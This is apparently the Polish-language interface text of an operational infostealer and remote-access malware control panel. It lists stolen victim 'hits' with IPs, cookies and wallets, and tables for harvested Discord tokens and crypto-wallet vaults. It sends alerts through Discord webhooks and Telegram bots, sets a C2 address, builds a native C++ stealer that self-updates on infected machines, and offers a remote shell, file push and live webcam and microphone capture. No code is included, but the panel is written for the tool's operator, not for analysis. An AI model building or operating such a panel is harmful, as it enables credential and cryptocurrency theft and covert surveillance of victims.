Dashboard
Stan panelu, liczniki i ostatnie trafienia - prosto z serwera.
Ostatnie trafienia
0 w tabeli| Klient | Status | Państwo | IP | Typ | MC | Czas | Akcje |
|---|
Hit Details
-
System information
-Connection info
-Collected data
0 plikówDiscord intel
token → wartość-
Archive files
największe pierwsze| Plik | Rozmiar | Spakowane | Data |
|---|
Account
Operator tej sesji. Token JWT siedzi w localStorage tej przeglądarki - nic więcej nie jest tu trzymane.
Operator
Czyści token z tej przeglądarki i wraca do logowania. Inne urządzenia zostają zalogowane.
Test kanału alertów - leci na webhook zapisany w Notification.
Notification
Dostawa alertów: webhook Discord, bot Telegram i publiczny adres C2.
Discord Webhook
Post na kanał, kiedy wpadnie nowy log.
Telegram Bot
Fallback dla archiwów, kiedy webhook leży. Token nie jest nigdy odsyłany - tylko maska.
C2 public url
Adres, który implant dostaje w buildzie. Puste = auto z requestu.
Build
Kompilacja C++ steakera (native exe). Opcje poniżej trafiają do requestu przy kompilacji.
Po zbudowaniu self-update leci na wszystkie online maszyny.
Logs
Wszystkie trafienia z serwera. Klik w wiersz otwiera szczegóły hita.
Hits
klik w wiersz = szczegóły| Klient | Status | Państwo | IP | Typ | MC | Przeglądarki | Cookies | Wallet | Aplikacje | Czas | Akcje |
|---|
Remote
Podgląd i komendy na żywej maszynie. Wybierz agenta - reszta jedzie po taskach.
Shell
-
Wyślij plik
Plik leci jednym zadaniem do ~12 MB, większe w kawałkach po 4 MB.
Media live
Kamera ciagnie klatki jedna po drugiej, mikrofon nagrywa klip po klipie - dzwiek leci z jednym klipem opoznienia.
GDI troll
Discord Injection
Tokeny klienta, sesje web i logowania. Skan leci co 2 h, nowe rzeczy idą na webhook.
| Co | Wartość | Info | Źródło | Czas |
|---|
Wallet Injection
Wallety desktopowe, vaulty rozszerzeń i logowania giełd. Ten sam skan co 2 h.
| Co | Wartość | Info | Źródło | Czas |
|---|